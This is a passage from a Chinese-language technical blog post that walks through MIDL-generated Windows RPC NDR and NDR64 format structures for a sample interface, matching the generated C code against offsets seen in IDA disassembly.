class="number">0xb5</span>,<span class="number">0xdb</span>,<span class="number">0xef</span>,<span class="number">0x9c</span>,<span class="number">0xcc</span>,<span class="number">0x36</span>&#125;&#125;,&#123;<span class="number">1</span>,<span class="number">0</span>&#125;&#125;,</span><br><span class="line">    (RPC_DISPATCH_TABLE*)&amp;Example1_NDR64__v1_0_DispatchTable,</span><br><span class="line">    <span class="number">0</span> ,</span><br><span class="line">    (<span class="type">unsigned</span> <span class="type">short</span> *) Example1_Ndr64ProcTable,</span><br><span class="line">    <span class="number">0</span>,</span><br><span class="line">    <span class="number">0</span>,</span><br><span class="line">    <span class="number">0</span>,</span><br><span class="line">    <span class="number">0</span></span><br><span class="line">    &#125;</span><br><span class="line">    &#125;;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>其中序列化有关的就是 <code>Example1_SyntaxInfo</code>结构体.</p><p>在ida中如下:</p><p><img src="/images/rpc_readme/1722224226542.png" alt="1722224226542"></p><p>以下是<code>Example1__MIDL_ProcFormatString</code>结构体的部分内容:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">static</span> <span class="type">const</span> Example1_MIDL_PROC_FORMAT_STRING Example1__MIDL_ProcFormatString =</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="number">0</span>,</span><br><span class="line">        &#123;</span><br><span class="line">      ......</span><br><span class="line"></span><br><span class="line"><span class="comment">/* Procedure Proc44_TLSRpcChallengeServer */</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 88 */</span><span class="number">0x0</span>,<span class="comment">/* 0 */</span></span><br><span class="line"><span class="number">0x48</span>,<span class="comment">/* Old Flags:  */</span></span><br><span class="line"><span class="comment">/* 90 */</span>NdrFcLong( <span class="number">0x0</span> ),<span class="comment">/* 0 */</span></span><br><span class="line"><span class="comment">/* 94 */</span>NdrFcShort( <span class="number">0x2</span> ),<span class="comment">/* 2 */</span></span><br><span class="line"><span class="comment">/* 96 */</span>NdrFcShort( <span class="number">0x38</span> ),<span class="comment">/* X64 Stack size/offset = 56 */</span></span><br><span class="line"><span class="comment">/* 98 */</span><span class="number">0x30</span>,<span class="comment">/* FC_BIND_CONTEXT */</span></span><br><span class="line"><span class="number">0x40</span>,<span class="comment">/* Ctxt flags:  in, */</span></span><br><span class="line"><span class="comment">/* 100 */</span>NdrFcShort( <span class="number">0x0</span> ),<span class="comment">/* X64 Stack size/offset = 0 */</span></span><br><span class="line"><span class="comment">/* 102 */</span><span class="number">0x0</span>,<span class="comment">/* 0 */</span></span><br><span class="line"><span class="number">0x0</span>,<span class="comment">/* 0 */</span></span><br><span class="line"><span class="comment">/* 104 */</span>NdrFcShort( <span class="number">0x48</span> ),<span class="comment">/* 72 */</span></span><br><span class="line"><span class="comment">/* 106 */</span>NdrFcShort( <span class="number">0x24</span> ),<span class="comment">/* 36 */</span></span><br><span class="line"><span class="comment">/* 108 */</span><span class="number">0x47</span>,<span class="comment">/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */</span></span><br><span class="line"><span class="number">0x7</span>,<span class="comment">/* 7 */</span></span><br><span class="line"><span class="comment">/* 110 */</span><span class="number">0xa</span>,<span class="comment">/* 10 */</span></span><br><span class="line"><span class="number">0x7</span>,<span class="comment">/* Ext Flags:  new corr desc, clt corr check, srv corr check, */</span></span><br><span class="line"><span class="comment">/* 112 */</span>NdrFcShort( <span class="number">0x1</span> ),<span class="comment">/* 1 */</span></span><br><span class="line"><span class="comment">/* 114 */</span>NdrFcShort( <span class="number">0x1</span> ),<span class="comment">/* 1 */</span></span><br><span class="line"><span class="comment">/* 116 */</span>NdrFcShort( <span class="number">0x0</span> ),<span class="comment">/* 0 */</span></span><br><span class="line"><span class="comment">/* 118 */</span>NdrFcShort( <span class="number">0x0</span> ),<span class="comment">/* 0 */</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* Parameter arg_0 */</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 120 */</span>NdrFcShort( <span class="number">0x8</span> ),<span class="comment">/* Flags:  in, */</span></span><br><span class="line"><span class="comment">/* 122 */</span>NdrFcShort( <span class="number">0x0</span> ),<span class="comment">/* X64 Stack size/offset = 0 */</span></span><br><span class="line"><span class="comment">/* 124 */</span>NdrFcShort( <span class="number">0x2</span> ),<span class="comment">/* Type Offset=2 */</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* Parameter arg_1 */</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 126 */</span>NdrFcShort( <span class="number">0x48</span> ),<span class="comment">/* Flags:  in, base type, */</span></span><br><span class="line"><span class="comment">/* 128 */</span>NdrFcShort( <span class="number">0x8</span> ),<span class="comment">/* X64 Stack size/offset = 8 */</span></span><br><span class="line"><span class="comment">/* 130 */</span><span class="number">0x8</span>,<span class="comment">/* FC_LONG */</span></span><br><span class="line"><span class="number">0x0</span>,<span class="comment">/* 0 */</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* Parameter arg_2 */</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 132 */</span>NdrFcShort( <span class="number">0x10b</span> ),<span class="comment">/* Flags:  must size, must free, in, simple ref, */</span></span><br><span class="line"><span class="comment">/* 134 */</span>NdrFcShort( <span class="number">0x10</span> ),<span class="comment">/* X64 Stack size/offset = 16 */</span></span><br><span class="line"><span class="comment">/* 136 */</span>NdrFcShort( <span class="number">0x2e</span> ),<span class="comment">/* Type Offset=46 */</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* Parameter arg_3 */</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 138 */</span>NdrFcShort( <span class="number">0x2013</span> ),<span class="comment">/* Flags:  must size, must free, out, srv alloc size=8 */</span></span><br><span class="line"><span class="comment">/* 140 */</span>NdrFcShort( <span class="number">0x18</span> ),<span class="comment">/* X64 Stack size/offset = 24 */</span></span><br><span class="line"><span class="comment">/* 142 */</span>NdrFcShort( <span class="number">0x48</span> ),<span class="comment">/* Type Offset=72 */</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* Parameter arg_4 */</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 144 */</span>NdrFcShort( <span class="number">0x2013</span> ),<span class="comment">/* Flags:  must size, must free, out, srv alloc size=8 */</span></span><br><span class="line"><span class="comment">/* 146 */</span>NdrFcShort( <span class="number">0x20</span> ),<span class="comment">/* X64 Stack size/offset = 32 */</span></span><br><span class="line"><span class="comment">/* 148 */</span>NdrFcShort( <span class="number">0x64</span> ),<span class="comment">/* Type Offset=100 */</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* Parameter arg_5 */</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 150 */</span>NdrFcShort( <span class="number">0x158</span> ),<span class="comment">/* Flags:  in, out, base type, simple ref, */</span></span><br><span class="line"><span class="comment">/* 152 */</span>NdrFcShort( <span class="number">0x28</span> ),<span class="comment">/* X64 Stack size/offset = 40 */</span></span><br><span class="line"><span class="comment">/* 154 */</span><span class="number">0x8</span>,<span class="comment">/* FC_LONG */</span></span><br><span class="line"><span class="number">0x0</span>,<span class="comment">/* 0 */</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* Return value */</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 156 */</span>NdrFcShort( <span class="number">0x70</span> ),<span class="comment">/* Flags:  out, return, base type, */</span></span><br><span class="line"><span class="comment">/* 158 */</span>NdrFcShort( <span class="number">0x30</span> ),<span class="comment">/* X64 Stack size/offset = 48 */</span></span><br><span class="line"><span class="comment">/* 160 */</span><span class="number">0x10</span>,<span class="comment">/* FC_ERROR_STATUS_T */</span></span><br><span class="line"><span class="number">0x0</span>,<span class="comment">/* 0 */</span></span><br><span class="line"></span><br><span class="line"><span class="number">0x0</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">const</span> <span class="type">unsigned</span> <span class="type">short</span> Example1_FormatStringOffsetTable[] =</span><br><span class="line">    &#123;</span><br><span class="line">    <span class="number">0</span>,</span><br><span class="line">    <span class="number">50</span>,</span><br><span class="line">    <span class="number">88</span></span><br><span class="line">    &#125;;</span><br></pre></td></tr></table></figure><p><code>Example1_FormatStringOffsetTable</code> 结构体里的值就是每一个rpc接口函数在<code>Example1__MIDL_ProcFormatString.Format</code>内存里的<strong>偏移</strong>, 因为我们声明了三个函数, 所以有三个值. 因为是从<code>Format</code>字段开始算的, 需要偏移2字节. </p><p>在ida中反汇编server, 在偏移<code>88+2 即 0x5a</code>位置, 就是<code>0, 0x48, ...</code></p><p><img src="/images/rpc_readme/1722224655345.png" alt="1722224655345"></p><blockquote><p>这里的<code>2 dup(0)</code>是指有两个重复的0. 偏移0x60+0x58 &#x3D; 0xb8, 0x140006cb8 位置的值为 <code>10h, 0, 0, 48h, 0, 0, 0, 0, 2....</code></p></blockquote><p><strong><code>Example1__MIDL_ProcFormatString</code> 结构体会具象化到 Example1_Ndr64ProcTable 里.</strong></p><p>让我们看一下<code>Example1_Ndr64ProcTable</code>结构体:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">static</span> <span class="type">const</span> FormatInfoRef Example1_Ndr64ProcTable[] = <span class="comment">// 这是一个描述符的数组.</span></span><br><span class="line">    &#123;</span><br><span class="line">    &amp;__midl_frag2,</span><br><span class="line">    &amp;__midl_frag7,</span><br><span class="line">    &amp;__midl_frag11</span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">const</span> <span class="type">__midl_frag11_t</span> __midl_frag11 =</span><br><span class="line">&#123; </span><br><span class="line"><span class="comment">/* Proc44_TLSRpcChallengeServer */</span></span><br><span class="line">    &#123; </span><br><span class="line">    <span class="comment">/* Proc44_TLSRpcChallengeServer */</span>      <span class="comment">/* procedure Proc44_TLSRpcChallengeServer */</span></span><br><span class="line">        (NDR64_UINT32) <span class="number">23986240</span> <span class="comment">/* 0x16e0040 */</span>,    <span class="comment">/* explicit handle */</span> <span class="comment">/* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */</span></span><br><span class="line">        (NDR64_UINT32) <span class="number">56</span> <span class="comment">/* 0x38 */</span> ,  <span class="comment">/* Stack size */</span></span><br><span class="line">        (NDR64_UINT32) <span class="number">76</span> <span class="comment">/* 0x4c */</span>,</span><br><span class="line">        (NDR64_UINT32) <span class="number">157</span> <span class="comment">/* 0x9d */</span>,</span><br><span class="line">        (NDR64_UINT16) <span class="number">0</span> <span class="comment">/* 0x0 */</span>,</span><br><span class="line">        (NDR64_UINT16) <span class="number">0</span> <span class="comment">/* 0x0 */</span>,</span><br><span class="line">        (NDR64_UINT16) <span class="number">7</span> <span class="comment">/* 0x7 */</span>,</span><br><span class="line">        (NDR64_UINT16) <span class="number">8</span> <span class="comment">/* 0x8 */</span></span><br><span class="line">    &#125;,</span><br><span class="line">    &#123; </span><br><span class="line">    <span class="comment">/* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */</span></span><br><span class="line">        &#123; </span><br><span class="line">        <span class="comment">/* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */</span></span><br><span class="line">            <span class="number">0x70</span>,    <span class="comment">/* FC64_BIND_CONTEXT */</span></span><br><span class="line">            (NDR64_UINT8) <span class="number">64</span> <span class="comment">/* 0x40 */</span>,</span><br><span class="line">            <span class="number">0</span> <span class="comment">/* 0x0 */</span>,   <span class="comment">/* Stack offset */</span></span><br><span class="line">            (NDR64_UINT8) <span class="number">0</span> <span class="comment">/* 0x0 */</span>,</span><br><span class="line">            (NDR64_UINT8) <span class="number">0</span> <span class="comment">/* 0x0 */</span></span><br><span class="line">        &#125;,</span><br><span class="line">        (NDR64_UINT16) <span class="number">0</span> <span class="comment">/* 0x0 */</span>      <span class="comment">/* Notify index */</span></span><br><span class="line">    &#125;,</span><br><span class="line">    &#123; </span><br><span class="line">    <span class="comment">/* arg_0 */</span>      <span class="comment">/* parameter arg_0 */</span></span><br><span class="line">        &amp;__midl_frag12, <span class="comment">// _NDR64_PARAM_FORMAT.Type</span></span><br><span class="line">        &#123;               <span class="comment">// _NDR64_PARAM_FORMAT.Attribute</span></span><br><span class="line">        <span class="comment">/* arg_0 */</span></span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">1</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            (NDR64_UINT16) <span class="number">0</span> <span class="comment">/* 0x0 */</span>,</span><br><span class="line">            <span class="number">0</span></span><br><span class="line">        &#125;,    <span class="comment">/* [in] */</span></span><br><span class="line">        (NDR64_UINT16) <span class="number">0</span> <span class="comment">/* 0x0 */</span>,</span><br><span class="line">        <span class="number">0</span> <span class="comment">/* 0x0 */</span>,   <span class="comment">// _NDR64_PARAM_FORMAT.StackOffset</span></span><br><span class="line">    &#125;,</span><br><span class="line">    &#123; </span><br><span class="line">    <span class="comment">/* arg_1 */</span>      <span class="comment">/* parameter arg_1 */</span></span><br><span class="line">        &amp;__midl_frag13,</span><br><span class="line">        &#123; </span><br><span class="line">        <span class="comment">/* arg_1 */</span></span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">1</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">1</span>,</span><br><span class="line">            <span class="number">1</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            (NDR64_UINT16) <span class="number">0</span> <span class="comment">/* 0x0 */</span>,</span><br><span class="line">            <span class="number">0</span></span><br><span class="line">        &#125;,    <span class="comment">/* [in], Basetype, ByValue */</span></span><br><span class="line">        (NDR64_UINT16) <span class="number">0</span> <span class="comment">/* 0x0 */</span>,</span><br><span class="line">        <span class="number">8</span> <span class="comment">/* 0x8 */</span>,   <span class="comment">/* Stack offset */</span></span><br><span class="line">    &#125;,</span><br><span class="line">    &#123; </span><br><span class="line">    <span class="comment">/* arg_2 */</span>      <span class="comment">/* parameter arg_2 */</span></span><br><span class="line">        &amp;__midl_frag15,</span><br><span class="line">        &#123; </span><br><span class="line">        <span class="comment">/* arg_2 */</span></span><br><span class="line">            <span class="number">1</span>,</span><br><span class="line">            <span class="number">1</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">1</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">1</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            (NDR64_UINT16) <span class="number">0</span> <span class="comment">/* 0x0 */</span>,</span><br><span class="line">            <span class="number">0</span></span><br><span class="line">        &#125;,    <span class="comment">/* MustSize, MustFree, [in], SimpleRef */</span></span><br><span class="line">        (NDR64_UINT16) <span class="number">0</span> <span class="comment">/* 0x0 */</span>,</span><br><span class="line">        <span class="number">16</span> <span class="comment">/* 0x10 */</span>,   <span class="comment">/* Stack offset */</span></span><br><span class="line">    &#125;,</span><br><span class="line">    &#123; </span><br><span class="line">    <span class="comment">/* arg_3 */</span>      <span class="comment">/* parameter arg_3 */</span></span><br><span class="line">        &amp;__midl_frag22,</span><br><span class="line">        &#123; </span><br><span class="line">        <span class="comment">/* arg_3 */</span></span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">1</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">1</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            (NDR64_UINT16) <span class="number">0</span> <span class="comment">/* 0x0 */</span>,</span><br><span class="line">            <span class="number">1</span></span><br><span class="line">        &#125;,    <span class="comment">/* MustFree, [out], UseCache */</span></span><br><span class="line">        (NDR64_UINT16) <span class="number">0</span> <span class="comment">/* 0x0 */</span>,</span><br><span class="line">        <span class="number">24</span> <span class="comment">/* 0x18 */</span>,   <span class="comment">/* Stack offset */</span></span><br><span class="line">    &#125;,</span><br><span class="line">    &#123; </span><br><span class="line">    <span class="comment">/* arg_4 */</span>      <span class="comment">/* parameter arg_4 */</span></span><br><span class="line">        &amp;__midl_frag26,</span><br><span class="line">        &#123; </span><br><span class="line">        <span class="comment">/* arg_4 */</span></span><br><span class="line">            <span class="number">1</span>,</span><br><span class="line">            <span class="number">1</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">1</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            (NDR64_UINT16) <span class="number">0</span> <span class="comment">/* 0x0 */</span>,</span><br><span class="line">            <span class="number">1</span></span><br><span class="line">        &#125;,    <span class="comment">/* MustSize, MustFree, [out], UseCache */</span></span><br><span class="line">        (NDR64_UINT16) <span class="number">0</span> <span class="comment">/* 0x0 */</span>,</span><br><span class="line">        <span class="number">32</span> <span class="comment">/* 0x20 */</span>,   <span class="comment">/* Stack offset */</span></span><br><span class="line">    &#125;,</span><br><span class="line">    &#123; </span><br><span class="line">    <span class="comment">/* arg_5 */</span>      <span class="comment">/* parameter arg_5 */</span></span><br><span class="line">        &amp;__midl_frag29,</span><br><span class="line">        &#123; </span><br><span class="line">        <span class="comment">/* arg_5 */</span></span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">1</span>,</span><br><span class="line">            <span class="number">1</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">1</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">1</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            (NDR64_UINT16) <span class="number">0</span> <span class="comment">/* 0x0 */</span>,</span><br><span class="line">            <span class="number">0</span></span><br><span class="line">        &#125;,    <span class="comment">/* [in], [out], Basetype, SimpleRef */</span></span><br><span class="line">        (NDR64_UINT16) <span class="number">0</span> <span class="comment">/* 0x0 */</span>,</span><br><span class="line">        <span class="number">40</span> <span class="comment">/* 0x28 */</span>,   <span class="comment">/* Stack offset */</span></span><br><span class="line">    &#125;,</span><br><span class="line">    &#123; </span><br><span class="line">    <span class="comment">/* error_status_t */</span>      <span class="comment">/* parameter error_status_t */</span></span><br><span class="line">        &amp;__midl_frag30,</span><br><span class="line">        &#123; </span><br><span class="line">        <span class="comment">/* error_status_t */</span></span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">1</span>,</span><br><span class="line">            <span class="number">1</span>,</span><br><span class="line">            <span class="number">1</span>,</span><br><span class="line">            <span class="number">1</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            <span class="number">0</span>,</span><br><span class="line">            (NDR64_UINT16) <span class="number">0</span> <span class="comment">/* 0x0 */</span>,</span><br><span class="line">            <span class="number">0</span></span><br><span class="line">        &#125;,    <span class="comment">/* [out], IsReturn, Basetype, ByValue */</span></span><br><span class="line">        (NDR64_UINT16) <span class="number">0</span> <span class="comment">/* 0x0 */</span>,</span><br><span class="line">        <span class="number">48</span> <span class="comment">/* 0x30 */</span>,   <span class="comment">/* Stack offset */</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>这里可以看到, 每一个参数都有描述符.</p><p>在IDA中如下:</p><p><img src="/images/rpc_readme/1722225347730.png" alt="1722225347730"></p><p>我们查看一下<code>__midl_frag11_t</code>结构体的定义:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> </span><br><span class="line"><span class="class"><span class="keyword">struct</span> </span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> _<span class="title">NDR64_PROC_FORMAT</span> <span class="title">frag1</span>;</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> _<span class="title">NDR64_BIND_AND_NOTIFY_EXTENSION</span> <span class="title">frag2</span>;</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> _<span class="title">NDR64_PARAM_FORMAT</span> <span class="title">frag3</span>;</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> _<span class="title">NDR64_PARAM_FORMAT</span> <span class="title">frag4</span>;</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> _<span class="title">NDR64_PARAM_FORMAT</span> <span class="title">frag5</span>;</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> _<span class="title">NDR64_PARAM_FORMAT</span> <span class="title">frag6</span>;</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> _<span 